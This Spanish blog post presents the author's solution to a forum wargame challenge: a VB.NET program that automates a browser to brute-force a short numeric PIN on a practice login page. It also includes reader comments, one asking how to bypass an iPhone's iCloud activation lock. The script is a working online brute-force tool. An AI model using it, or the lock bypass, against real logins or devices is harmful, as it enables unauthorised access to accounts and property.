martes, 3 de mayo de 2016

Solucion Del Reto BruteForce Por Flamer

Hola amigos hace unos días puse un reto en el foro del hacker.net aquí el link:

http://foro.elhacker.net/desafios_wargames/reto_averiguar_el_nip_de_4_digitos_para_acceder-t451234.0.html

pero nadie lo resolvió así que muestro mi solución o el código que implemente para resolverlo

solo agregamos un textbox, un label, un boton y un WebBrowser al que llamaremos Web y quedara así como la imagen:



aquí el código este en vb.net

Public Class Form1
    Dim pagina_mala As String
    Dim pass As String
    Dim clave As Integer
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Web.Navigate("http://practicashacking.net23.net/login.php")
        Timer1.Interval = 2000
        Timer2.Interval = 2000
        clave = 1
        pass = "000"
    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        If pagina_mala = "" Then
            pagina_mala = Web.Document.All.Item(0).OuterHtml
            Web.GoBack()
            Timer1.Stop()
            Timer2.Start()
        ElseIf pagina_mala = Web.Document.All.Item(0).OuterHtml Then
            Web.GoBack()
            clave = clave + 1
            pass = CStr(clave)
            While Len(pass) < 3
                pass = "0" & pass
            End While
            Timer1.Stop()
            Timer2.Start()
        Else
            Timer1.Stop()
            Timer2.Stop()
            MsgBox("La Clave Es: " & clave)
        End If
        
    End Sub

    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
        Web.Document.GetElementById("11").InnerText = pass
        Web.Document.GetElementById("10").InvokeMember("submit")
        Timer2.Stop()
        Timer1.Start()
    End Sub

    Private Sub Button1_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Timer2.Start()
        Button1.Enabled = False
    End Sub
End Class


y también hice un vídeo donde demuestro su funcionamiento

Ver El Video


link para Descargar codigo

bueno saludos Flamer


2 comentarios:

  1. amigo eres un genio te admiro me encntaria aprender todo lo que sabes ya me suscribi a tu canal de you tube y un meresido like..Amigo me gustaría a aprender a como descativar icloud activado en un iPhone donde lo prendes y te dice id aple y contraseña para ingresar al menú si me pudieses enseñar amigo

    ResponderEliminar
  2. ya guarde en favoritos tu blog amigo estare checando todos los días para ver si me ayudas amigo ya que tu eres un genio un hacker

    ResponderEliminar